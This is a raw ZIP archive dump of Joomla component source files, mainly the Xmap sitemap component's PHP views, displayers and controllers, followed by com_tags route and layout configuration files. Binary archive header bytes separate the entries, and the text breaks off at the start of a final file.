 * @version             $Id$
 * @copyright           Copyright (C) 2005 - 2009 Joomla! Vargas. All rights reserved.
 * @license             GNU General Public License version 2 or later; see LICENSE.txt
 * @author              Guillermo Vargas (guille@vargas.co.cr)
 */

// no direct access
defined('_JEXEC') or die;

// Create shortcut to parameters.
$params = $this->state->get('params');

// Use the class defined in default_class.php to print the sitemap
$this->displayer->printSitemap();PK���\���Q��*com_xmap/views/html/tmpl/default_class.phpnu&1i�<?php
/**
* @version       $Id$
* @copyright     Copyright (C) 2005 - 2009 Joomla! Vargas. All rights reserved.
* @license       GNU General Public License version 2 or later; see LICENSE.txt
* @author        Guillermo Vargas (guille@vargas.co.cr)
*/

// No direct access
defined( '_JEXEC' ) or die( 'Restricted access' );

require_once(JPATH_COMPONENT.'/displayer.php');

class XmapHtmlDisplayer extends XmapDisplayer {

    var $level = -1;
    var $_openList = '';
    var $_closeList = '';
    var $_closeItem = '';
    var $_childs;
    var $_width;
    var $live_site = 0;

    function __construct ($config, $sitemap) {
        $this->view = 'html';
        parent::__construct($config, $sitemap);
        $this->_parent_children=array();
        $this->_last_child=array();
        $this->live_site = substr_replace(JURI::root(), "", -1, 1);

        $user = JFactory::getUser();
    }

    function setJView($view)
    {
        parent::setJView($view);

        $columns = $this->sitemap->params->get('columns',0);
        if( $columns > 1 ) { // calculate column widths
            $total = count($view->items);
            $columns = $total < $columns? $total : $columns;
            $this->_width    = (100 / $columns) - 1;
            $this->sitemap->params->set('columns',$columns);
        }
    }

    /**
    * Prints one node of the sitemap
    *
    *
    * @param object $node
    * @return boolean
    */
    function printNode( &$node )
    {

        $out = '';

        if ($this->isExcluded($node->id,$node->uid) && !$this->canEdit) {
            return FALSE;
        }

        // To avoid duplicate children in the same parent
        if ( !empty($this->_parent_children[$this->level][$node->uid]) ) {
            return FALSE;
        }

        //var_dump($this->_parent_children[$this->level]);
        $this->_parent_children[$this->level][$node->uid] = true;

        $out .= $this->_closeItem;
        $out .= $this->_openList;
        $this->_openList = "";

        $out .= '<li>';

        if( !isset($node->browserNav) )
            $node->browserNav = 0;

        if ($node->browserNav != 3) {
            $link = JRoute::_($node->link, true, @$node->secure);
        }

        $node->name = htmlspecialchars($node->name);
        switch( $node->browserNav ) {
            case 1:        // open url in new window
                $ext_image = '';
                if ( $this->sitemap->params->get('exlinks') ) {
                    $ext_image = '&nbsp;<img src="'. $this->live_site .'/components/com_xmap/assets/images/'. $this->sitemap->params->get('exlinks') .'" alt="' . JText::_('COM_XMAP_SHOW_AS_EXTERN_ALT') . '" title="' . JText::_('COM_XMAP_SHOW_AS_EXTERN_ALT') . '" border="0" />';
                }
                $out .= '<a href="'. $link .'" title="'. htmlspecialchars($node->name) .'" target="_blank">'. $node->name . $ext_image .'</a>';
                break;

            case 2:        // open url in javascript popup window
                $ext_image = '';
                if( $this->sitemap->params->get('exlinks') ) {
                    $ext_image = '&nbsp;<img src="'. $this->live_site .'/components/com_xmap/assets/images/'. $this->sitemap->params->get('exlinks') .'" alt="' . JText::_('COM_XMAP_SHOW_AS_EXTERN_ALT') . '" title="' . JText::_('COM_XMAP_SHOW_AS_EXTERN_ALT') . '" border="0" />';
                }
                $out .= '<a href="'. $link .'" title="'. $node->name .'" target="_blank" '. "onClick=\"javascript: window.open('". $link ."', '', 'toolbar=no,location=no,status=no,menubar=no,scrollbars=yes,resizable=yes,width=780,height=550'); return false;\">". $node->name . $ext_image."</a>";
                break;

            case 3:        // no link
                $out .= '<span>'. $node->name .'</span>';
                break;

            default:       // open url in parent window
                $out .= '<a href="'. $link .'" title="'. $node->name .'">'. $node->name .'</a>';
                break;
        }

        $this->_closeItem = "</li>\n";
        $this->_childs[$this->level]++;
        echo $out;

        if ($this->canEdit) {
            if ( $this->isExcluded($node->id,$node->uid) ) {
                $img = '<img src="'.$this->live_site.'/components/com_xmap/assets/images/unpublished.png" alt="v" title="'.JText::_('JUNPUBLISHED').'">';
                $class= 'xmapexclon';
            } else {
                $img = '<img src="'.$this->live_site.'/components/com_xmap/assets/images/tick.png" alt="x" title="'.JText::_('JPUBLISHED').'" />';
                $class= 'xmapexcloff';
            }
            echo ' <a href= "#" class="xmapexcl '.$class.'" rel="{uid:\''.$node->uid.'\',itemid:'.$node->id.'}">'.$img.'</a>';
        }
        $this->count++;

        $this->_last_child[$this->level] = $node->uid;

        return TRUE;
    }

    /**
    * Moves sitemap level up or down
    */
    function changeLevel( $level ) {
        if ( $level > 0 ) {
            # We do not print start ul here to avoid empty list, it's printed at the first child
            $this->level += $level;
            $this->_childs[$this->level]=0;
            $this->_openList = "\n<ul class=\"level_".$this->level."\">\n";
            $this->_closeItem = '';

            // If we are moving up, then lets clean the children of this level
            // because for sure this is a new set of links
            if ( empty ($this->_last_child[$this->level-1]) || empty ($this->_parent_children[$this->level]['parent']) || $this->_parent_children[$this->level]['parent'] != $this->_last_child[$this->level-1] ) {
                $this->_parent_children[$this->level]=array();
                $this->_parent_children[$this->level]['parent'] = @$this->_last_child[$this->level-1];
            }
        } else {
            if ($this->_childs[$this->level]){
                echo $this->_closeItem."</ul>\n";
            }
            $this->_closeItem ='</li>';
            $this->_openList = '';
            $this->level += $level;
        }
    }

    function startMenu(&$menu) {
        if( $this->sitemap->params->get('columns') > 1 )            // use columns
            echo '<div style="float:left;width:'.$this->_width.'%;">';
        if( $this->sitemap->params->get('show_menutitle') )         // show menu titles
            echo '<h2 class="menutitle">'.$menu->name.'</h2>';
    }

    function endMenu(&$menu) {
        $sitemap=&$this->sitemap;
        $this->_closeItem='';
        if( $sitemap->params->get('columns')> 1 ) {
            echo "</div>\n";
        }
    }
}
PK���\�6�com_xmap/views/index.htmlnu&1i�<!DOCTYPE html><title></title>PK���\�PJ�� com_xmap/views/xml/view.html.phpnu&1i�<?php

/**
 * @version             $Id$
 * @copyright           Copyright (C) 2005 - 2009 Joomla! Vargas. All rights reserved.
 * @license             GNU General Public License version 2 or later; see LICENSE.txt
 * @author              Guillermo Vargas (guille@vargas.co.cr)
 */
// No direct access
defined( '_JEXEC' ) or die( 'Restricted access' );

jimport('joomla.application.component.view');

# For compatibility with older versions of Joola 2.5
if (!class_exists('JViewLegacy')){
    class JViewLegacy extends JView {

    }
}

/**
 * XML Sitemap View class for the Xmap component
 *
 * @package      Xmap
 * @subpackage   com_xmap
 * @since        2.0
 */
class XmapViewXml extends JViewLegacy
{

    protected $state;
    protected $print;

    protected $_obLevel;

    function display($tpl = null)
    {
        // Initialise variables.
        $app = JFactory::getApplication();
        $this->user = JFactory::getUser();
        $isNewsSitemap = JRequest::getInt('news',0);
        $this->isImages = JRequest::getInt('images',0);

        $model = $this->getModel('Sitemap');
        $this->setModel($model);

        // force to not display errors on XML sitemap
        @ini_set('display_errors', 0);
        # Increase memory and max execution time for XML sitemaps to make it work
        # with very large sites
        @ini_set('memory_limit','512M');
        @ini_set('max_execution_time',300);

        $layout = $this->getLayout();

        $this->item = $this->get('Item');
        $this->state = $this->get('State');
        $this->canEdit = JFactory::getUser()->authorise('core.admin', 'com_xmap');

        // For now, news sitemaps are not editable
        $this->canEdit = $this->canEdit && !$isNewsSitemap;

        if ($layout == 'xsl') {
            return $this->displayXSL($layout);
        }

        // Get model data.
        $this->items = $this->get('Items');
        $this->sitemapItems = $this->get('SitemapItems');
        $this->extensions = $this->get('Extensions');

        // Check for errors.
        if (count($errors = $this->get('Errors'))) {
            JError::raiseWarning(500, implode("\n", $errors));
            return false;
        }

        // Add router helpers.
        $this->item->slug = $this->item->alias ? ($this->item->id . ':' . $this->item->alias) : $this->item->id;

        $this->item->rlink = JRoute::_('index.php?option=com_xmap&view=xml&id=' . $this->item->slug);

        // Create a shortcut to the paramemters.
        $params = &$this->state->params;
        $offset = $this->state->get('page.offset');

        if (!$this->item->params->get('access-view')) {
            if ($this->user->get('guest')) {
                // Redirect to login
                $uri = JFactory::getURI();
                $app->redirect(
                    'index.php?option=com_users&view=login&return=' . base64_encode($uri),
                    JText::_('Xmap_Error_Login_to_view_sitemap')
                );
                return;
            } else {
                JError::raiseWarning(403, JText::_('Xmap_Error_Not_auth'));
                return;
            }
        }

        // Override the layout.
        if ($layout = $params->get('layout')) {
            $this->setLayout($layout);
        }

        // Load the class used to display the sitemap
        $this->loadTemplate('class');
        $this->displayer = new XmapXmlDisplayer($params, $this->item);

        $this->displayer->setJView($this);

        $this->displayer->isNews = $isNewsSitemap;
        $this->displayer->isImages = $this->isImages;
        $this->displayer->canEdit = $this->canEdit;

        $doCompression = ($this->item->params->get('compress_xml') && !ini_get('zlib.output_compression') && ini_get('output_handler') != 'ob_gzhandler');
        $this->endAllBuffering();
        if ($doCompression) {
            ob_start();
        }

        parent::display($tpl);

        $model = $this->getModel();
        $model->hit($this->displayer->getCount());

        if ($doCompression) {
            $data = ob_get_contents();
            JResponse::setBody($data);
            @ob_end_clean();
            echo JResponse::toString(true);
        }
        $this->recreateBuffering();
        exit;
    }

    function displayXSL()
    {
        $this->setLayout('default');

        $this->endAllBuffering();
        parent::display('xsl');
        $this->recreateBuffering();
        exit;
    }

    private function endAllBuffering()
    {
        $this->_obLevel = ob_get_level();
        $level = FALSE;
        while (ob_get_level() > 0 && $level !== ob_get_level()) {
            @ob_end_clean();
            $level = ob_get_level();
        }
    }
    private function recreateBuffering()
    {
        while($this->_obLevel--) {
            ob_start();
        }
    }

}
PK���\�6�com_xmap/views/xml/index.htmlnu&1i�<!DOCTYPE html><title></title>PK���\E	�ʵ�com_xmap/views/xml/metadata.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<metadata>
    <view title="XML SITEMAP">
        <message>
            <![CDATA[TYPEXMLLAYDESC]]>
        </message>
    </view>
</metadata>
PK���\�/T��)com_xmap/views/xml/tmpl/default_class.phpnu&1i�<?php
/**
 * @version         $Id$
 * @copyright        Copyright (C) 2005 - 2009 Joomla! Vargas. All rights reserved.
 * @license        GNU General Public License version 2 or later; see LICENSE.txt
 * @author        Guillermo Vargas (guille@vargas.co.cr)
 */
// No direct access
defined( '_JEXEC' ) or die( 'Restricted access' );

require_once(JPATH_COMPONENT . '/displayer.php');

class XmapXmlDisplayer extends XmapDisplayer
{

    /**
     *
     * @var array  Stores the list of links that have been already included in
     *             the sitemap to avoid duplicated items
     */
    var $_links;

    /**
     *
     * @var string
     */
    var $view = 'xml';

    protected $showTitle = false;
    protected $showExcluded = false;

    /**
     *
     * @var int Indicates if this is a google news sitemap or not
     */
    var $isNews = 0;

    /**
     *
     * @var int Indicates if this is a google news sitemap or not
     */
    var $isImages = 0;

    function __construct($config, $sitemap)
    {
        parent::__construct($config, $sitemap);
        $this->uids = array();

        $this->defaultLanguage = strtolower(JFactory::getLanguage()->getTag());
        if (preg_match('/^([a-z]+)-.*/',$this->defaultLanguage,$matches) && !in_array($this->defaultLanguage, array(' zh-cn',' zh-tw')) ) {
            $this->defaultLanguage = $matches[1];
        }

        $this->showTitle = JRequest::getBool('filter_showtitle', 0);
        $this->showExcluded = JRequest::getBool('filter_showexcluded', 0);

        $db = JFactory::getDbo();
        $this->nullDate = $db->getNullDate();
    }

    /**
     * Prints an XML node for the sitemap
     *
     * @param stdclass $node
     */
    function printNode($node)
    {
        $node->isExcluded = false;
        if ($this->isExcluded($node->id,$node->uid)) {
            if (!$this->showExcluded || !$this->canEdit) {
                return false;
            }
            $node->isExcluded = true;
        }

        if ($this->isNews && (!isset($node->newsItem) || !$node->newsItem)) {
            return true;
        }

        // For images sitemaps only display pages with images
        if ($this->isImages && (!isset($node->images) || !count($node->images))) {
            return true;
        }

        // Get the item's URL
        $link = JRoute::_($node->link, true, @$node->secure == 0 ? (JFactory::getURI()->isSSL() ? 1 : -1) : $node->secure);

        if (!isset($node->browserNav))
            $node->browserNav = 0;

        if ($node->browserNav != 3   // ignore "no link"
                && empty($this->_links[$link])) { // ignore links that have been added already
            $this->count++;
            $this->_links[$link] = 1;

            if (!isset($node->priority))
                $node->priority = "0.5";

            if (!isset($node->changefreq))
                $node->changefreq = 'daily';

            // Get the chancefrequency and priority for this item
            $changefreq = $this->getProperty('changefreq', $node->changefreq, $node->id, 'xml', $node->uid);
            $priority = $this->getProperty('priority', $node->priority, $node->id, 'xml', $node->uid);

            echo '<url>' . "\n";
            echo '<loc>', $link, '</loc>' . "\n";
            if ($this->canEdit) {
                if ($this->showTitle) {
                    echo '<title><![CDATA['.$node->name.']]></title>' . "\n";
                }
                if ($this->showExcluded) {
                    echo '<rowclass>',($node->isExcluded? 'excluded':''),'</rowclass>';
                }
                echo '<uid>', $node->uid, '</uid>' . "\n";
                echo '<itemid>', $node->id, '</itemid>' . "\n";
            }
            $modified = (isset($node->modified) && $node->modified != FALSE && $node->modified != $this->nullDate && $node->modified != -1) ? $node->modified : NULL;
            if (!$modified && $this->isNews) {
                $modified = time();
            }
            if ($modified && !is_numeric($modified)){
                $date =  new JDate($modified);
                $modified = $date->toUnix();
            }
            if ($modified) {
                $modified = gmdate('Y-m-d\TH:i:s\Z', $modified);
            }

            // If this is not a news sitemap
            if (!$this->isNews) {
                if ($this->isImages) {
                    foreach ($node->images as $image) {
                        echo '<image:image>', "\n";
                        echo '<image:loc>', $image->src, '</image:loc>', "\n";
                        if ($image->title) {
                            $image->title = str_replace('&', '&amp;', html_entity_decode($image->title, ENT_NOQUOTES, 'UTF-8'));
                            echo '<image:title>', $image->title, '</image:title>', "\n";
                        } else {
                            echo '<image:title />';
                        }
                        if (isset($image->license) && $image->license) {
                            echo '<image:license>',str_replace('&', '&amp;',html_entity_decode($image->license, ENT_NOQUOTES, 'UTF-8')),'</image:license>',"\n";
                        }
                        echo '</image:image>', "\n";
                    }
                } else {
                    if ($modified){
                        echo '<lastmod>', $modified, '</lastmod>' . "\n";
                    }
                    echo '<changefreq>', $changefreq, '</changefreq>' . "\n";
                    echo '<priority>', $priority, '</priority>' . "\n";
                }
            } else {
                if (isset($node->keywords)) {
                    $keywords = htmlspecialchars($node->keywords);
                } else {
                    $keywords = '';
                }

                if (!isset($node->language) || $node->language == '*') {
                    $node->language = $this->defaultLanguage;
                }

                echo "<news:news>\n";
                echo '<news:publication>'."\n";
                echo '  <news:name>'.(htmlspecialchars($this->sitemap->params->get('news_publication_name'))).'</news:name>'."\n";
                echo '  <news:language>'.$node->language.'</news:language>'."\n";
                echo '</news:publication>'."\n";
                echo '<news:publication_date>', $modified, '</news:publication_date>' . "\n";
                echo '<news:title><![CDATA['.$node->name.']]></news:title>' . "\n";
                if ($keywords) {
                    echo '<news:keywords>', $keywords, '</news:keywords>' . "\n";
                }
                echo "</news:news>\n";
            }
            echo '</url>', "\n";
        } else {
            return empty($this->_links[$link]);
        }
        return true;
    }

    /**
     *
     * @param string $property The property that is needed
     * @param string $value The default value if the property is not found
     * @param int $Itemid   The menu item id
     * @param string $view  (xml / html)
     * @param int $uid      Unique id of the element on the sitemap
     *                      (the id asigned by the extension)
     * @return string
     */
    function getProperty($property, $value, $Itemid, $view, $uid)
    {
        if (isset($this->jview->sitemapItems[$view][$Itemid][$uid][$property])) {
            return $this->jview->sitemapItems[$view][$Itemid][$uid][$property];
        }
        return $value;
    }

    /**
     * Called on every level change
     *
     * @param int $level
     * @return boolean
     */
    function changeLevel($level)
    {
        return true;
    }

    /**
     * Function called before displaying the menu
     *
     * @param stdclass $menu The menu node item
     * @return boolean
     */
    function startMenu($menu)
    {
        return true;
    }

    /**
     * Function called after displaying the menu
     *
     * @param stdclass $menu The menu node item
     * @return boolean
     */
    function endMenu($menu)
    {
        return true;
    }
}
PK���\�6�"com_xmap/views/xml/tmpl/index.htmlnu&1i�<!DOCTYPE html><title></title>PK���\�㱊kk#com_xmap/views/xml/tmpl/default.phpnu&1i�<?php
/**
 * @version             $Id$
 * @copyright			Copyright (C) 2005 - 2009 Joomla! Vargas. All rights reserved.
 * @license             GNU General Public License version 2 or later; see LICENSE.txt
 * @author              Guillermo Vargas (guille@vargas.co.cr)
 */

// no direct access
defined( '_JEXEC' ) or die( 'Restricted access' );

// Create shortcut to parameters.
$params = $this->item->params;

$live_site = substr_replace(JURI::root(), "", -1, 1);

header('Content-type: text/xml; charset=utf-8');

echo '<?xml version="1.0" encoding="UTF-8"?>',"\n";
if (($this->item->params->get('beautify_xml', 1) == 1) && !$this->displayer->isNews) {
    $params  = '&amp;filter_showtitle='.JRequest::getBool('filter_showtitle',0);
    $params .= '&amp;filter_showexcluded='.JRequest::getBool('filter_showexcluded',0);
    $params .= (JRequest::getCmd('lang')?'&amp;lang='.JRequest::getCmd('lang'):'');
    echo '<?xml-stylesheet type="text/xsl" href="'. $live_site.'/index.php?option=com_xmap&amp;view=xml&amp;layout=xsl&amp;tmpl=component&amp;id='.$this->item->id.($this->isImages?'&amp;images=1':'').$params.'"?>'."\n";
}
?>
<urlset xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd" xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"<?php echo ($this->displayer->isImages? ' xmlns:image="http://www.google.com/schemas/sitemap-image/1.1"':''); ?><?php echo ($this->displayer->isNews? ' xmlns:news="http://www.google.com/schemas/sitemap-news/0.9"':''); ?>>

<?php echo $this->loadTemplate('items'); ?>

</urlset>PK���\>_)com_xmap/views/xml/tmpl/default_items.phpnu&1i�<?php
/**
 * @version             $Id$
 * @copyright			Copyright (C) 2005 - 2009 Joomla! Vargas. All rights reserved.
 * @license             GNU General Public License version 2 or later; see LICENSE.txt
 * @author              Guillermo Vargas (guille@vargas.co.cr)
 */

// no direct access
defined( '_JEXEC' ) or die( 'Restricted access' );

// Create shortcut to parameters.
$params = $this->state->get('params');

// Use the class defined in default_class.php to print the sitemap
$this->displayer->printSitemap();PK���\��(
		"com_xmap/controllers/ajax.json.phpnu&1i�<?php

/**
 * @version     $Id$
 * @copyright   Copyright (C) 2005 - 2009 Joomla! Vargas. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 * @author      Guillermo Vargas (guille@vargas.co.cr)
 */
// No direct access
defined('_JEXEC') or die;

jimport('joomla.application.component.controller');

/**
 * Xmap Ajax Controller
 *
 * @package      Xmap
 * @subpackage   com_xmap
 * @since        2.0
 */
class XmapControllerAjax extends JControllerLegacy
{

    public function editElement()
    {
        JSession::checkToken('get') or jexit(JText::_('JINVALID_TOKEN'));

        jimport('joomla.utilities.date');
        jimport('joomla.user.helper');
        $user = JFactory::getUser();
        $groups = array_keys(JUserHelper::getUserGroups($user->get('id')));
        $result = new JRegistry('_default');
        $sitemapId = JREquest::getInt('id');

        if (!$user->authorise('core.edit', 'com_xmap.sitemap.'.$sitemapId)) {
            $result->setValue('result', 'KO');
            $result->setValue('message', 'You are not authorized to perform this action!');
        } else {
            $model = $this->getModel('sitemap');
            if ($model->getItem()) {
                $action = JRequest::getCmd('action', '');
                $uid = JRequest::getCmd('uid', '');
                $itemid = JRequest::getInt('itemid', '');
                switch ($action) {
                    case 'toggleElement':
                        if ($uid && $itemid) {
                            $state = $model->toggleItem($uid, $itemid);
                        }
                        break;
                    case 'changeProperty':
                        $uid = JRequest::getCmd('uid', '');
                        $property = JRequest::getCmd('property', '');
                        $value = JRequest::getCmd('value', '');
                        if ($uid && $itemid && $uid && $property) {
                            $state = $model->chageItemPropery($uid, $itemid, 'xml', $property, $value);
                        }
                        break;
                }
            }
            $result->set('result', 'OK');
            $result->set('state', $state);
            $result->set('message', '');
        }

        echo $result->toString();
    }
}PK���\�6�com_xmap/controllers/index.htmlnu&1i�<!DOCTYPE html><title></title>PK���\f��>>com_xmap/metadata.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<metadata>
</metadata>
PK���\D�%��com_xmap/controller.phpnu&1i�<?php

/**
 * @version        $Id$
 * @copyright      Copyright (C) 2005 - 2009 Joomla! Vargas. All rights reserved.
 * @license        GNU General Public License version 2 or later; see LICENSE.txt
 * @author         Guillermo Vargas (guille@vargas.co.cr)
 */
// No direct access
defined( '_JEXEC' ) or die( 'Restricted access' );

jimport('joomla.application.component.controller');

/**
 * Xmap Component Controller
 *
 * @package        Xmap
 * @subpackage     com_xmap
 * @since          2.0
 */
class XmapController extends JControllerLegacy
{

    /**
     * Method to display a view.
     *
     * @param   boolean         If true, the view output will be cached
     * @param   array           An array of safe url parameters and their variable types, for valid values see {@link JFilterInput::clean()}.
     *
     * @return  JController     This object to support chaining.
     * @since   1.5
     */
    public function display($cachable = false, $urlparams = false)
    {
        $cachable = true;

        $id         = JRequest::getInt('id');
        $viewName   = JRequest::getCmd('view');
        $viewLayout = JRequest::getCmd('layout', 'default');

        $user = JFactory::getUser();

        if ($user->get('id') || !in_array($viewName, array('html', 'xml')) || $viewLayout == 'xsl') {
            $cachable = false;
        }

        if ($viewName) {
            $document = JFactory::getDocument();
            $viewType = $document->getType();
            $view = $this->getView($viewName, $viewType, '', array('base_path' => $this->basePath, 'layout' => $viewLayout));
            $sitemapmodel = $this->getModel('Sitemap');
            $view->setModel($sitemapmodel, true);
        }

        $safeurlparams = array('id' => 'INT', 'itemid' => 'INT', 'uid' => 'CMD', 'action' => 'CMD', 'property' => 'CMD', 'value' => 'CMD');

        parent::display($cachable, $safeurlparams);

        return $this;
    }

}
PK���\�V�com_tags/index.htmlnu&1i�<!DOCTYPE html><title></title>
PK���\��7}��com_tags/helpers/route.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_tags
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt

 * @phpcs:disable PSR1.Classes.ClassDeclaration.MissingNamespace
 */

use Joomla\Component\Tags\Site\Helper\RouteHelper;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Tags Component Route Helper.
 *
 * @since  3.1
 *
 * @deprecated  4.3 will be removed in 6.0
 *              Use \Joomla\Component\Tags\Site\Helper\RouteHelper instead
 */
class TagsHelperRoute extends RouteHelper
{
}
PK���\�V�com_tags/helpers/index.htmlnu&1i�<!DOCTYPE html><title></title>
PK���\6H���com_tags/tmpl/tag/list.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_TAGS_TAG_VIEW_LIST_COMPACT_TITLE" option="COM_TAGS_TAG_VIEW_LIST_COMPACT_OPTION">
		<help
			key="Menu_Item:_Compact_List_of_Tagged_Items"
		/>
		<message>
			<![CDATA[COM_TAGS_TAG_VIEW_LIST_DESC]]>
		</message>
	</layout>

	<!-- Add fields to the request variables for the layout. -->
	<fields name="request">
		<fieldset name="request">

			<field
				name="id"
				type="tag"
				label="COM_TAGS_FIELD_TAG_LABEL"
				mode="nested"
				required="true"
				multiple="true"
				custom="false"
			/>

			<field
				name="types"
				type="contenttype"
				label="COM_TAGS_FIELD_TYPE_LABEL"
				layout="joomla.form.field.list-fancy-select"
				multiple="true"
			/>

			<field
				name="tag_list_language_filter"
				type="contentlanguage"
				label="COM_TAGS_FIELD_LANGUAGE_FILTER_LABEL"
				default=""
				useglobal="true"
				>
				<option value="all">JALL</option>
				<option value="current_language">JCURRENT</option>
			</field>

		</fieldset>
	</fields>
	<!-- Add fields to the parameters object for the layout. -->
	<fields name="params">
		<fieldset name="basic" label="COM_TAGS_OPTIONS">

			<field
				name="show_tag_title"
				type="list"
				label="COM_TAGS_SHOW_TAG_TITLE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="tag_list_show_tag_image"
				type="list"
				label="COM_TAGS_SHOW_TAG_IMAGE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="tag_list_show_tag_description"
				type="list"
				label="COM_TAGS_SHOW_TAG_DESCRIPTION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="tag_list_image"
				type="media"
				schemes="http,https,ftp,ftps,data,file"
				validate="url"
				relative="true"
				label="COM_TAGS_TAG_LIST_MEDIA_LABEL"
			/>

			<field
				name="tag_list_image_alt"
				type="text"
				label="COM_TAGS_TAG_LIST_MEDIA_ALT_LABEL"
			/>

			<field
				name="tag_list_image_alt_empty"
				type="checkbox"
				label="COM_TAGS_TAG_LIST_MEDIA_ALT_EMPTY_LABEL"
				description="COM_TAGS_TAG_LIST_MEDIA_ALT_EMPTY_DESC"
			/>

			<field
				name="tag_list_description"
				type="textarea"
				label="COM_TAGS_SHOW_TAG_LIST_DESCRIPTION_LABEL"
				description="COM_TAGS_TAG_LIST_DESCRIPTION_DESC"
				rows="3"
				cols="30"
				filter="safehtml"
			/>

			<field
				name="tag_list_orderby"
				type="list"
				label="JGLOBAL_FIELD_FIELD_ORDERING_LABEL"
				default=""
				useglobal="true"
				validate="options"
				>
				<option value="c.core_title">JGLOBAL_TITLE</option>
				<option value="match_count">COM_TAGS_MATCH_COUNT</option>
				<option value="c.core_created_time">JGLOBAL_CREATED_DATE</option>
				<option value="c.core_modified_time">JGLOBAL_MODIFIED_DATE</option>
				<option value="c.core_publish_up">JGLOBAL_PUBLISHED_DATE</option>
			</field>

			<field
				name="tag_list_orderby_direction"
				type="list"
				label="JGLOBAL_ORDER_DIRECTION_LABEL"
				useglobal="true"
				validate="options"
				>
				<option value="ASC">JGLOBAL_ORDER_ASCENDING</option>
				<option value="DESC">JGLOBAL_ORDER_DESCENDING</option>
			</field>

		</fieldset>

		<fieldset name="advanced" label="JGLOBAL_LIST_LAYOUT_OPTIONS" description="COM_TAGS_SUBSLIDER_DRILL_TAG_LIST_LABEL">

			<field
				name="tag_list_show_item_image"
				type="list"
				label="COM_TAGS_TAG_LIST_SHOW_ITEM_IMAGE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="tag_list_show_item_description"
				type="list"
				label="COM_TAGS_TAG_LIST_SHOW_ITEM_DESCRIPTION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="tag_list_item_maximum_characters"
				type="number"
				label="COM_TAGS_LIST_MAX_CHARACTERS_LABEL"
				filter="integer"
				useglobal="true"
			/>

			<field
				name="filter_field"
				type="list"
				label="JGLOBAL_FILTER_FIELD_LABEL"
				default=""
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_headings"
				type="list"
				label="JGLOBAL_SHOW_HEADINGS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_pagination_limit"
				type="list"
				label="JGLOBAL_DISPLAY_SELECT_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="display_num"
				type="list"
				label="COM_TAGS_FIELD_NUMBER_ITEMS_LIST_LABEL"
				class="form-select-color-state"
				validate="options"
				>
				<option value="">JGLOBAL_USE_GLOBAL</option>
				<option value="5">J5</option>
				<option value="10">J10</option>
				<option value="15">J15</option>
				<option value="20">J20</option>
				<option value="25">J25</option>
				<option value="30">J30</option>
				<option value="50">J50</option>
				<option value="100">J100</option>
				<option value="0">JALL</option>
			</field>

			<field
				name="show_pagination"
				type="list"
				label="JGLOBAL_PAGINATION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
				<option value="2">JGLOBAL_AUTO</option>
			</field>

			<field
				name="show_pagination_results"
				type="list"
				label="JGLOBAL_PAGINATION_RESULTS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="tag_list_show_date"
				type="list"
				label="JGLOBAL_SHOW_DATE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="created">JGLOBAL_CREATED</option>
				<option value="modified">JGLOBAL_MODIFIED</option>
				<option value="published">JPUBLISHED</option>
			</field>

			<field
				name="date_format"
				type="text"
				label="JGLOBAL_DATE_FORMAT_LABEL"
				description="JGLOBAL_DATE_FORMAT_DESC"
			/>

		</fieldset>

		<fieldset name="selection" label="COM_TAGS_LIST_SELECTION_OPTIONS">

			<field
				name="return_any_or_all"
				type="list"
				label="COM_TAGS_SEARCH_TYPE_LABEL"
				useglobal="true"
				validate="options"
				>
				<option value="0">COM_TAGS_ALL</option>
				<option value="1">COM_TAGS_ANY</option>
			</field>

			<field
				name="include_children"
				type="list"
				label="COM_TAGS_INCLUDE_CHILDREN_LABEL"
				default=""
				useglobal="true"
				validate="options"
				>
				<option value="0">COM_TAGS_EXCLUDE</option>
				<option value="1">COM_TAGS_INCLUDE</option>
			</field>

		</fieldset>

		<fieldset name="integration">

			<field
				name="show_feed_link"
				type="list"
				label="JGLOBAL_SHOW_FEED_LINK_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

		</fieldset>
	</fields>
</metadata>
PK���\D�S�
�
com_tags/tmpl/tag/list.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_tags
 *
